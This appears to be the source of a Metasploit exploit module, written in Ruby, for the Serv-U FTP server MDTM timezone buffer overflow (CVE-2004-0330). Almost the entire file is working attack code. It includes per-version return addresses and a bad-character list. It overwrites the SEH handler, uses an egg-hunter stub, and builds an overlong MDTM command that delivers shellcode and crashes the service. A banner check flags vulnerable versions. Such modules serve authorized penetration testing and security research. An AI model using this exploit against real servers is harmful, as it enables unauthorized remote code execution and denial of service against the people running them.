189 lines
5.8 KiB
Ruby
189 lines
5.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Serv-U FTPD MDTM Overflow',
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'Description' => %q{
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This is an exploit for the Serv-U\'s MDTM command timezone
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overflow. It has been heavily tested against versions
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4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
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nt4/2k/xp/2k3. I have also had success against version 3,
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but only tested 1 version/os. The bug is in all versions
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prior to 5.0.0.4, but this exploit will not work against
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versions not listed above. You only get one shot, but it
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should be OS/SP independent.
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This exploit is a single hit, the service dies after the
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shellcode finishes execution.
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},
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'Author' => [ 'spoonm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-0330'],
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[ 'OSVDB', '4073'],
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[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
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[ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
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[ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
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[ 'BID', '9751'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => %w{ win },
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'Targets' =>
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[
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[
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'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005
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{
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'Platform' => 'win',
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'Ret' => 0x00401877,
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},
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],
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[
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'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
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{
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'Platform' => 'win',
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'Ret' => 0x0040164d,
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},
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],
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[
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'Serv-U 5.0.0.0 ServUDaemon.exe',
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{
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'Platform' => 'win',
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'Ret' => 0x0040167e,
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},
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],
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],
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'DisclosureDate' => 'Feb 26 2004',
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'DefaultTarget' => 0))
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register_advanced_options(
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[
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OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
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OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
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], self.class)
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end
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# From 5.0.0.4 Change Log
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# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
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#
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# Nice way to play it down boys
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#
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# Connected to ftp2.rhinosoft.com.
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# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
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#
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# Heh :)
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def check
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connect
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disconnect
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case banner
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when /Serv-U FTP Server v4\.1/
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vprint_status('Found version 4.1.0.3, exploitable')
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return Exploit::CheckCode::Appears
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when /Serv-U FTP Server v5\.0/
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vprint_status('Found version 5! 5.0.0.0 may be exploitable, but not 5.0.0.4');
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return Exploit::CheckCode::Detected
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when /Serv-U FTP Server v4\.0/
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vprint_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
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send_user(datastore['USER'])
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send_pass(datastore['PASS'])
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if (double_ff?())
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vprint_status('Found version 4.0.0.4, exploitable');
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return Exploit::CheckCode::Appears
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else
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vprint_status('Found version 4.1.0.0, exploitable');
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return Exploit::CheckCode::Appears
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end
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when /Serv\-U FTP Server/
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vprint_status('Found an unknown version, try it!');
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return Exploit::CheckCode::Detected
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else
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vprint_status('We could not recognize the server banner')
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return Exploit::CheckCode::Safe
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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c = connect_login
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return if not c
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print_status("Trying target #{target.name}...")
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# Should have paid more attention to skylined's exploit, only after figuring
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# out how my payloads were getting transformed did I remember seeing \xff
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# doubling in his CHMOD exploit, arg!
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shellcode = payload.encoded
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case datastore['ForceDoubling']
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when 1
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print_status("Forced doubling of all \\xff sequences in the encoded payload")
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shellcode.gsub!(/\xff/, "\xff\xff")
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when 0
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print_status("Forced doubling has been disabled")
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when 2
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if (double_ff?())
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print_status("Forced doubling enabled after detection of version 4.0.0.4")
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shellcode.gsub!(/\xff/, "\xff\xff")
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end
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end
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# Searcher expects address to start scanning at in edi
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# Since we got here via a pop pop ret, we can just the address of the jmp
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# off the stack, add esp, BYTE -4 ; pop edi
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search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
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search_stub = Rex::Arch::X86.searcher(search_rtag)
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search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
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if (datastore['SEHOffset'] < search_code.length)
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print_error("Not enough room for search code, adjust SEHOffset")
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return
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end
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jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'
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buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
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buf << search_code
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buf << jump_back
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buf << [target.ret].pack('V')
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buf << ' /'
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buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
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buf << shellcode
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buf << search_rtag
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send_cmd( [buf], false )
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handler
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disconnect
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end
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def double_ff?
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res = send_cmd( ['P@SW'], true )
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return (res and res =~ /^500/) ? true : false
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end
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end
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